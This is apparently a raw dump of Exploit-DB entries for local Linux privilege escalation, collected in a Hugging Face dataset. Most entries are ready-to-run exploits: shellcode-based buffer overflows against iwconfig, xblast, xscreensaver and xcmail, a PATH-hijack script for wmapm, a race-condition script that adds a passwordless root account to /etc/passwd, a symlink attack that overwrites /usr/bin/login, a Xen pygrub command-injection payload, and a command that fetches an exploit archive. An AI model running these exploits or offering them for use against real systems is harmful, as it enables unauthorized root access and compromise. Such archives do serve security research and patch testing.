deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23300
Description: Wireless Tools 26 (IWConfig) - ARGV Local Command Line Buffer Overflow (2)
Type: local
Platform: linux
Date: 2003-11-11
Author: heka

Exploit:
// source: https://www.securityfocus.com/bid/8901/info
 
A problem has been identified in the iwconfig program when handling strings on the commandline. Because of this, a local attacker may be able to gain elevated privileges. 

/*
  Name: iw-config.c
  Copyright: !sh2k+!tc2k
  Author: heka
  Date: 11/11/2003
  Greets: bx, pintos, eksol, hex, keyhook, grass, toolman, rD, shellcode, dunric, termid, kewlcat, JiNKS
  Description: /sbin/iwconfig - local root exploit
  iwconfig manipulate the basic wireless parameters

*/

#include <stdio.h>

#define BIN     "/sbin/iwconfig"

unsigned char shellcode[] =
                  "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\xb0\x2e"
                  "\xcd\x80\x31\xc0\x53\x68\x77\x30\x30\x74\x89\xe3"
                  "\xb0\x27\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x31\xc0"
                  "\x31\xdb\x31\xc9\xb1\x0a\x50\x68\x2e\x2e\x2f\x2f"
                  "\xe2\xf9\x89\xe3\xb0\x0c\xcd\x80\x31\xc0\x31\xdb"
                  "\x6a\x2e\x89\xe3\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
                  "\x31\xc9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
                  "\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
                  "\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80";

int
main ()
{
   int x;
   char buf[97], out[1337], *buffer;
   unsigned long ret_add = 0xbffffbb8, *add_ptr ;
   buffer = buf;
   add_ptr = (long *)buffer;
   for (x=0; x<97-1; x+=4)
   *(add_ptr++)=ret_add;
   memset ((char *)out, 0x90, 1337);
   memcpy ((char *)out + 333, shellcode, strlen(shellcode));
   memcpy((char *)out, "OUT=", 4);
   putenv(out);
   execl (BIN, BIN, buf, NULL);
   return 0;
}
Exploit-DB #23301
Description: Wireless Tools 26 (IWConfig) - ARGV Local Command Line Buffer Overflow (3)
Type: local
Platform: linux
Date: 2003-10-27
Author: NrAziz

Exploit:
// source: https://www.securityfocus.com/bid/8901/info
  
A problem has been identified in the iwconfig program when handling strings on the commandline. Because of this, a local attacker may be able to gain elevated privileges. 

/*
 * (C) 2003 NrAziz
 * polygrithm_at_hotmail[DOT]com
 */

/*
 * Greetz to Mixter,gorny,rave..
 */

/*
 * Description:
 *              iwconfig configures a wireless network interface and is similar to ifconfig
 *  except that iwconfig configures wireless interfaces.
 * Vulnerability:
 *               Instead of giving the interface parameter when a large string is given
 * the buffer overflows :-)...
 */

/*
 * Yet another Proof Of Concept Xploit for 'iwconfig'
 */


#include <stdio.h>
#include <stdlib.h>

#define BUFF_SIZE 98
#define RET 0xbffffc3f

char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";

int main(int argc,char **argv)
{

  int i;
  char *buff=(char *)malloc(sizeof(char)*BUFF_SIZE);

  for(i=0;i<BUFF_SIZE;i+=4)
    *(long *)&buff[i]=RET;

  for(i=0;i<BUFF_SIZE-strlen(shellcode)-12;i++)
    *(buff+i)=0x90;

  memcpy(buff+i,shellcode,strlen(shellcode));

  execl("/sbin/iwconfig","iwconfig",buff,(char *)NULL);

  return 0;
}
Exploit-DB #1215
Description: Wireless Tools 26 (IWConfig) - Local Privilege Escalation
Type: local
Platform: linux
Date: 2005-09-14
Author: Qnix

Exploit:
// (if the iwconfig executable is setuid) /str0ke

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

/* 45 Byte /bin/sh >> http://www.milw0rm.com/id.php?id=1169 (https://www.exploit-db.com/exploits/1169/) */
char shellcode[]=
                 "\x31\xc0\x31\xdb\x50\x68\x2f\x2f"
                 "\x73\x68\x68\x2f\x62\x69\x6e\x89"
                 "\xe3\x50\x53\x89\xe1\x31\xd2\xb0"
                 "\x0b\x51\x52\x55\x89\xe5\x0f\x34"
                 "\x31\xc0\x31\xdb\xfe\xc0\x51\x52"
                 "\x55\x89\xe5\x0f\x34";

int main(int argc,char **argv){
  char buf[96];
  long esp, *addr_ptr;
  unsigned long ret;
  int i, offset;
  unsigned long sp(void)
  { __asm__("movl %esp, %eax");}
  char *prog[]={argv[1],buf,NULL};
  char *env[]={"3v1lsh3ll0=",shellcode,NULL};

  if (argc >= 2) {
    printf("\n*********************************************\n");
    printf("   iwconfig Version 26 Localroot Exploit    \n");
    printf("    Coded by Qnix[at]bsdmail[dot]org      \n");
    printf("*********************************************\n\n");
  } else {
    printf("\n*********************************************\n");
    printf("   iwconfig Version 26 Localroot Exploit    \n");
    printf("    Coded by Qnix[at]bsdmail[dot]org      \n");
    printf("*********************************************\n\n");
    printf("\n USEAGE: ./iwconfig-exploit <iwconfig FULLPATH e.g /sbin/iwconfig or /usr/sbin/iwconfig>\n\n");
    return 1;
    }

  offset = 0;
  esp = sp();
  ret=0xc0000000-strlen(shellcode)-strlen(prog[0])-0x06;
  printf("[~] S-p.ESP     : 0x%x\n", esp);
  printf("[~] O-F.ESP     : 0x%x\n", offset);
  printf("[~] Return Addr : 0x%x\n\n", ret);

  memset(buf,0x41,sizeof(buf));
  memcpy(&buf[92],&ret,4);

  execve(prog[0],prog,env);

 }

// milw0rm.com [2005-09-14]
Exploit-DB #23364
Description: WMAPM 3.1 - Local Privilege Escalation
Type: local
Platform: linux
Date: 2003-11-08
Author: Knud Erik Hojgaard

Exploit:
source: https://www.securityfocus.com/bid/8995/info

wmapm has been reported prone to a local privilege escalation vulnerability. The vulnerability has been conjectured to result from a lack of relative path usage while the vulnerable dock app is invoking a third party binary. As a result of this, a local attacker may manipulate local path settings and have the setuid wmapm dock app erroneously invoke a trojan binary that is located in a directory that the attacker has permissions to write to.

#/bin/sh
# Pretty useless, we can mess up /etc/dumpdates or run shutdown
# on FreeBSD systems with wmapm from ports.
# If wmapm is installed from source we get root instead,
# so I suppose this might be worth something(uid 0) on linux.
# kokanin@dtors~ pkg_info | grep -i wmapm
# wmapm-3.1           Laptop battery status display for WindowMaker
# kokanin@dtors~ ls -la `which wmapm`    
# -rwxr-sr-x  1 root  operator  41892 Mar 23 10:00 /usr/X11R6/bin/wmapm
# kokanin@dtors~ sh DSR-wmapm.sh
# press the S button when wmapm starts
# $ /usr/bin/id
# uid=1001(kokanin) gid=1001(kokanin) egid=5(operator) groups=5(operator), 1001(kokanin), 0(wheel), 666(lewsers)
echo "/bin/sh" > apm
chmod +x ./apm
echo "press the S button(not the key, the BUTTON, in the PROGRAM) when wmapm starts"
export PATH=.:$PATH
/usr/X11R6/bin/wmapm
rm ./apm
Exploit-DB #47507
Description: X.Org X Server 1.20.4 - Local Stack Overflow
Type: local
Platform: linux
Date: 2019-10-16
Author: s4vitar

Exploit:
# Exploit Title: X.Org X Server 1.20.4 - Local Stack Overflow
# Date: 2019-10-16
# Exploit Author: Marcelo Vázquez (aka s4vitar)
# Vendor Homepage: https://www.x.org/
# Version: <= 1.20.4
# Tested on: Linux
# CVE: CVE-2019-17624

#!/usr/bin/python
#coding: utf-8

# ************************************************************************
# *                Author: Marcelo Vázquez (aka s4vitar)                 *
# *      X.Org X Server 1.20.4 / X Protocol Version 11 (Stack Overflow)  *
# ************************************************************************

import sys, time
import ctypes as ct

from ctypes import cast
from ctypes.util import find_library

def access_violation(x11, current_display):
	keyboard = (ct.c_char * 1000)()
	x11.XQueryKeymap(current_display, keyboard)

if __name__ == '__main__':

	print "\n[*] Loading x11...\n"
	time.sleep(2)

	x11 = ct.cdll.LoadLibrary(find_library("X11"))
	current_display = x11.XOpenDisplay(None)

	print "[*] Exploiting...\n"
	time.sleep(1)

	try:
		access_violation(x11, current_display)

	except:
		print "\nError...\n"
		sys.exit(1)
Exploit-DB #1596
Description: X.Org X11 (X11R6.9.0/X11R7.0) - Local Privilege Escalation
Type: local
Platform: linux
Date: 2006-03-20
Author: H D Moore

Exploit:
# From Daniel Stone's Advisory
# xorg-server 1.0.0, as shipped with X11R7.0, and all release candidates
# of X11R7.0, is vulnerable.
# X11R6.9.0, and all release candidates, are vulnerable.
# X11R6.8.2 and earlier versions are not vulnerable. 

# The rest is H D Moore from metasploit

Two second exploit, but if anyone is lazy:

$ wget http://metasploit.com/users/hdm/tools/xmodulepath.tgz
$ tar -zpxvf xmodulepath.tgz
$ cd xmodulepath
$ ./root.sh
/bin/rm -f   exploit.o exploit.so shell *.o *.so
gcc -fPIC -c exploit.c
gcc -shared -nostdlib exploit.o -o exploit.so
gcc -o shell shell.c

X Window System Version 7.0.0
Release Date: 21 December 2005
X Protocol Version 11, Revision 0, Release 7.0
[ snip ]
r00t # id
uid=0(root) gid=100(users) groups=10(wheel),18(audio)...

# backup: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1596.tgz (xmodulepath.tgz)

# milw0rm.com [2006-03-20]
Exploit-DB #5167
Description: X.Org xorg-x11-xfs 1.0.2-3.1 - Local Race Condition
Type: local
Platform: linux
Date: 2008-02-21
Author: vl4dZ

Exploit:
#!/bin/sh
# Xorg-x11-xfs Race Condition Vuln local root exploit (CVE-2007-3103)
# 
# Another lame xploit by vl4dZ :)) works on redhat el5 and before 
#
#  $ id
#  uid=1001(kecos) gid=1001(user) groups=1001(user)
#  $ sh xfs-RaceCondition-root-exploit.sh 
#  [*] Generate large data file in /tmp/.font-unix
#  [*] Wait for xfs service to be (re)started by root...
#  [*] Hop, symlink created...
#  [*] Launching root shell
#  -sh-3.1# id
#  uid=0(root) gid=0(root) groups=0(root)

# Vulnerable version is xorg-x11-xfs <= 1.0.2-3.1 and vulnerable code is 
# located in the start() function of the /etc/init.d/xfs script:
# ...
#    rm -rf $FONT_UNIX_DIR
#    mkdir $FONT_UNIX_DIR
#    chown root:root $FONT_UNIX_DIR
#    chmod 1777 $FONT_UNIX_DIR
# ...

# I'm listening right now to nice free music: 
# http://www.jamendo.com/fr/album/5919

FontDir="/tmp/.font-unix"
Zero=/dev/zero
Size=900000

if [ ! -d $FontDir ]; then
   printf "Is xfs running ?\n"
   exit 1
fi

cd /tmp
cat > sym.c << EOF
#include <unistd.h>
int main(){
for(;;){if(symlink("/etc/passwd","/tmp/.font-unix")==0)
{return 0;}}}
EOF

cc sym.c -o sym>/dev/null 2>&1
if [ $? != 0 ]; then
   printf "Error: Cant compile code"
   exit 1
fi

printf "[*] Generate large data file in $FontDir\n"
dd if=${Zero} of=${FontDir}/BigFile bs=1024 count=${Size}>/dev/null 2>&1
if [ $? != 0 ]; then
   printf "Error: cant create large file"
   exit 1
fi

printf "[*] Wait for xfs service to be (re)started by root...\n"
./sym
if [ $? != 0 ]; then
   printf "Error: code failed...\n"
   exit 1
fi

if [ -L /tmp/.font-unix ]; then
    printf "[*] Hop, symlink created...\n"
    printf "[*] Launching root shell\n"
    sleep 2
    rm -f /tmp/.font-unix
    echo "r00t::0:0::/:/bin/sh" >> /etc/passwd
fi
su - r00t

# milw0rm.com [2008-02-21]
Exploit-DB #19257
Description: X11R6 3.3.3 - Symlink
Type: local
Platform: linux
Date: 1999-03-21
Author: Stealthf0rk

Exploit:
// source: https://www.securityfocus.com/bid/326/info

There is a symlink vulnerability known to exist under most modern linux and NetBSD distributions. It involves /tmp/.X11-unix and the tendency to follow to/overwrite the file pointed to if a symlink. It may be possible for a regular user to write arbritrary data to a file they normally have no write access to resulting in a root compromise. 

/*** local XFree 3.3.3-symlink  root-compromise.
 *** Tested under FreeBSD 3.1 (but should work on others 2)
 *** (C) 1999/2000 by Stealthf0rk for the K.A.L.U.G. 
 *** (check out http://www.kalug.lug.net/stealth or /coding for
 ***  other kewl stuff!)
 ***
 *** FOR EDUCATIONAL PURPOSES ONLY!!! USE IT AT YOUR OWN RISK.
 *** Even if this program restores all, you should backup your
 *** login before running this.
 ***/

#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>

#define LOGIN "/usr/bin/login"
#define TELNET "/usr/bin/telnet"

int cp(const char*, const char*, int);

int main(int argc, char **argv)
{

	char *telnet[] = {TELNET, "localhost", NULL};
	char *shell[] = {"/bin/sh", NULL};
	char *X[] = {"/usr/X11R6/bin/xinit", NULL};
	FILE *f = NULL;
	int p = 0;
	char buf[1000] = {0};

	/* the rootshell */
	if (!geteuid() || !getuid()) {
		unlink(LOGIN);
		cp("/tmp/L", LOGIN, 1);
		chmod(LOGIN, 04555);
		printf("Welcome!\n");
		unlink("/tmp/.X11-unix");
		unlink("/tmp/L");
		execve(*shell, shell, NULL);
	}
	
	/* back up */
	cp(LOGIN, "/tmp/L", 1);
	if (symlink(LOGIN, "/tmp/.X11-unix") < 0) {
		perror("symlink (/tmp/.X11-unix)");
		exit(errno);
	}
	if ((p = fork()) < 0) {
		perror("fork");
		exit(errno);
	} else if (p > 0) {
		sleep(7);
		kill(p, 9);
		cp(argv[0], LOGIN, 1);
		execve(telnet[0], telnet, NULL);
		perror("fatal:");
	} else {
		printf("Xfree 3.3.3 root-sploit by Stealth. http://www.kalug.lug.net\n");
		printf("\n-> Please give me some seconds... <-\n\n");
		execve(X[0], X, NULL);
	}
	return 0;
}
	
	
int cp(const char *from, const char *to, int how)
{
	int in = 0, out = 0, r = 0;
	char buf[1000] = {0};
	

	printf("cp %s %s\n", from, to);
	/* overwrite ? */
	if (how == 1) 
		how = O_RDWR|O_TRUNC|O_CREAT;
	else
		how = O_RDWR|O_CREAT;

        if ((out = open(to, how)) < 0) {
		perror("open 1");
		exit(errno);
	}
	if ((in = open(from, O_RDONLY)) < 0) {
		perror("open 2");
		exit(errno);
	}
	while ((r = read(in, buf, 1000-1)) > 0) {
		write(out,buf,r);
		memset(buf,0,1000);
	}
	close(in); close(out);
	return 0;
}
Exploit-DB #22965
Description: XBlast 2.6.1 - 'HOME Environment' Local Buffer Overflow
Type: local
Platform: linux
Date: 2003-07-28
Author: c0wboy

Exploit:
// source: https://www.securityfocus.com/bid/8296/info

XBlast is contains a locally exploitable buffer overflow vulnerability due to insufficient bounds checking of data supplied via the HOME environment variable. Successful exploitation would allow a local user to execute code with a gid of games.

/*  0x333xblast =>  xblast 2.6.1 local exploit
 *
 *	xblast could be overflowed by passing a long $HOME
 *	env. For more info read advisory @ :
 *
 *	http://www.0x333.org/advisories/outsider-003.txt
 *
 *	* note * :
 *	exploit tested against xblast-2.6.beta-1.i386.rpm
 *	under Red Hat Linux 9.0. xblaste is not install
 *	by default +s.
 *
 *	coded by c0wboy
 *
 *  (c) 0x333 Outsider Security Labs / www.0x333.org
 *
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>


#define BIN 	"/usr/X11R6/bin/xblast"
#define SIZE	1032

#define RET		0xbffffb38
#define NOP		0x90


unsigned char shellcode[] =

	/* setregid (20,20) shellcode */
	"\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
	"\xcd\x80"

	/* exec /bin/sh shellcode */

	"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
	"\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";


void banner (void);
void memret (char *, int, int, int);


void banner (void)
{
	fprintf (stdout, "\n\n ---       xblast local exploit by c0wboy      ---\n");
	fprintf (stdout, " --- Outsiders Se(c)urity Labs / www.0x333.org ---\n\n");

	fprintf (stdout, " [NOW PRESS 'y' TO SPAWN THE SHELL]\n\n");
}


void memret (char *buffer, int ret, int size, int align)
{
        int i;
        int * ptr = (int *) (buffer + align);
                                                                                
        for (i=0; i<size; i+=4)
                *ptr++ = ret;
                                                                                
        ptr = 0x0;
}


int main ()
{
	int ret = RET;
	char out[SIZE];

	memret ((char *)out, ret, SIZE-1, 0);

	memset ((char *)out, NOP, 333);
	memcpy ((char *)out+333, shellcode, strlen(shellcode));

	setenv ("HOME", out, 1);

	banner ();
	execl (BIN, BIN, 0x0);
}
Exploit-DB #19249
Description: Xcmail 0.99.6 - Local Buffer Overflow
Type: local
Platform: linux
Date: 1999-03-02
Author: Arthur

Exploit:
/*
source: https://www.securityfocus.com/bid/311/info


XCmail is an X11 mail client for linux.

Arthur <pierric@ADMIN.LINUX.ORG> discovered an exploitable buffer overflow vulnerability in xcmail. The bug appears when replying to a message with a long subject line, and only when autoquote is on. The exploit is trivial, but as the buffer is not very large you have to do very precise return address calculation. It is believed it IS remotely exploitable, but you have to know a lot about the machine you want to gain acces to.
*/

/* 27/02/1999 exploit by XSFX@iname.com.... this bug is not exploitable in any harmful way, at least not easily :)

this only works if target xc-mail has enabled 'Autoquote' (Preferences menu -> Quote -> Autoquote)

Given ESP values are for

>>>> glibc2 0.99.6 dynamically linked official binary <<<<

only when users clicks 'reply' in the message list window, NOT when reading message and clicking 'reply'...

note: find your own adresses if you want to fuck people over, and get an evil shellcode :) and remember, the buffer is very small...

0xbffff140 in Eterm launched from WMaker 0xbfffe9f9 in xterm launched from Eterm... 0xbfffeb10 as root, in xterm, from xinitrc

Greetings: to Jerome_, Dunkahn, lionel doux, niark doux, kevin mitnick l'amis des koalas hergothÃ©rapeutes and to my cannabis seeds which are growing on their own while I'm coding :) and to all the Amidoux in the world. Peace :)

note that this exploit is not very usable as-is, cause xc-mail is not suid root... but if you, k1d113, find a way to get a remote xterm :) good luck :) */

#include <stdio.h>

#ifndef ESP #define ESP 0xbffff140 #endif

#ifndef NOP #define NOP 'A' /* this will appear in subject of evil message */ #endif /* so maybe NOP (0x90) is a better choice...

but 'A's are easier to spot when browsing thru memory to find buffer adress :) */

char shellcode[] = "\x89\xe1\x31\xc0\x50\x8d\x5c\x24\xf9\x83" "\xc4\x0c\x50\x53\x89\xca\xb0\x0b\xcd\x80" "/bin/sh";

/* Shellcode from Willy Tarreau (20 bytes) */

/* static inline getesp() { * __asm__(" movl %esp,%eax "); * } */

main(int argc, char **argv) { long unsigned esp; int i,nops=0;

printf("From pop3@192.134.192.112 Wed Dec 2 19:27:57 1998\n"); printf("Date: Wed, 25 Dec 1998 00:00:00 +0000\n"); printf("From: 0z0n3 <friend@localhost>\n");

printf("Subject: ");

for (i=0;i<(204 - strlen(shellcode));i++) { putchar(NOP); nops++; }

printf(shellcode);

/* esp = getesp(); */ esp = ESP;

fprintf(stderr, "sample exploit by XSFX@iname.com\n" "DEBUG: %d NOPs\n" "DEBUG: using %#x (getesp()%+d) as shellcode address\n", nops,esp,esp-getesp());

fwrite(&esp,4,1,stdout); putc('\n',stdout);

printf("Message-Id: <[PII_REDACTED]7.TAA23112@003.dyn.ml.org>\n"); printf("To: \"dear user\" <you@domain.com>\n"); printf("\n"); printf("hello ! please reply, i'm not sure my email box is ok :(\n"); printf("\n"); }
Exploit-DB #30620
Description: Xen 3.0.3 - pygrub TOOLS/PYGRUB/SRC/GRUBCONF.PY Local Command Injection
Type: local
Platform: linux
Date: 2007-09-22
Author: Joris van Rantwijk

Exploit:
source: https://www.securityfocus.com/bid/25825/info

Xen is prone to a local command-injection vulnerability that can lead to privilege escalation.

This issue occurs because the application fails to validate input in the 'tools/pygrub/src/GrubConf.py' script.

This vulnerability affects Xen 3.0.3; other versions may be affected as well. 

An attacker can exploit this issue by including Python commands in a configuration file using filesystem utilities. The following proof of concept is available:

Change the 'default' statement in grub.conf to:
default "+str(0*os.system(" insert evil command here "))+"
Exploit-DB #32446
Description: Xen 3.3 - XenStore Domain Configuration Data Unsafe Storage
Type: local
Platform: linux
Date: 2008-09-30
Author: Pascal Bouchareine

Exploit:
source: https://www.securityfocus.com/bid/31499/info

Xen is prone to a vulnerability that results in configuration information being stored in a location that is writable by guest domains.

UPDATE (December 19, 2008): The initial proposed patches did not resolve this issue.

Xen 3.3 is vulnerable; other versions may also be affected. 

#yum install xen
# xenstore-write /local/domain/GUEST-DOMID/console/tty /i/am/the/evil/guest
Exploit-DB #33255
Description: Xen 3.x - pygrub Local Authentication Bypass
Type: local
Platform: linux
Date: 2009-09-25
Author: Jan Lieskovsky

Exploit:
source: https://www.securityfocus.com/bid/36523/info

Xen is prone to a local authentication-bypass vulnerability.

A local attacker with physical access to an affected host can exploit this issue to bypass authentication and modify the 'grub.conf' file. This may aid in a complete compromise of the affected system.

Xen 3.0.3, 3.3.0, and 3.3.1 are affected; other versions may also be vulnerable.

xm create -c guest
press space bar to stop the grub count down
press e to edit
select the kernel line and press e
Append a "1" to the end of the kernel line and press return
press "b" to boot
Exploit-DB #22321
Description: XFree86 4.2 - 'XLOCALEDIR' Local Buffer Overflow (2)
Type: local
Platform: linux
Date: 2003-03-03
Author: Guilecool & deka

Exploit:
// source: https://www.securityfocus.com/bid/7002/info
 
Several XFree86 utilities may be prone to a buffer overflow condition. The vulnerability exists due to insufficient boundary checks performed by these utilities when referencing the XLOCALEDIR environment variable.
 
A local attacker can exploit this vulnerability by setting the XLOCALEDIR environment variable to an overly long value. When the vulnerable utilities are executed, the buffer overflow vulnerability will be triggered.

/*
**
** Tested on rh 7.3 using XFree86
** xscreensaver vulnerability
** AUTHORS: Angelo Rosiello (Guilecool) & deka
** REQUIRES: X must be run!
** EFFECTS: local root exploit!
**
** deka is leet brother, thank you :>
** MAIL: guilecool@usa.com
**
*/

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define RETADDR 0xbfffdf20 //change it if u need

char shellcode[] =
 "\x55\x89\xe5\x55\x89\xe5\x83\xec\x28\xc6\x45\xd8\x2f\xc6\x45\xdc"
 "\x2f\xc6\x45\xd9\x5f\xc6\x45\xda\x5a\xc6\x45\xdb\x5f\xc6\x45\xdd"
 "\x5f\xc6\x45\xde\x5f\x83\x45\xd9\x03\x83\x45\xda\x0f\x83\x45\xdb"
 "\x0f\x83\x45\xdd\x14\x83\x45\xde\x09\x31\xc0\x89\x45\xdf\x89\x45"
 "\xf4\x8d\x45\xd8\x89\x45\xf0\x83\xec\x04\x8d\x45\xf0\x31\xd2\x89"
 "\xd3\x89\xc1\x8b\x45\xf0\x89\xc3\x31\xc0\x83\xc0\x0b\xcd\x80\x31"
 "\xc0\x40\xcd\x80";

int main()
{
        char buf[4076];
        unsigned long retaddr = RETADDR;

        memset(buf, 0x0, 4076);
        memset(buf, 0x41, 4072);
        memcpy(buf+2076, &retaddr, 0x4);
        setenv("XLOCALEDIR", buf, 1);
        memset(buf, 0x90, 4072);
        memcpy((buf+4072-strlen(shellcode)), shellcode, strlen
(shellcode));
        setenv("HAXHAX", buf, 1);
        execl("/usr/X11R6/bin/xscreensaver", "xscreensaver", 0);
}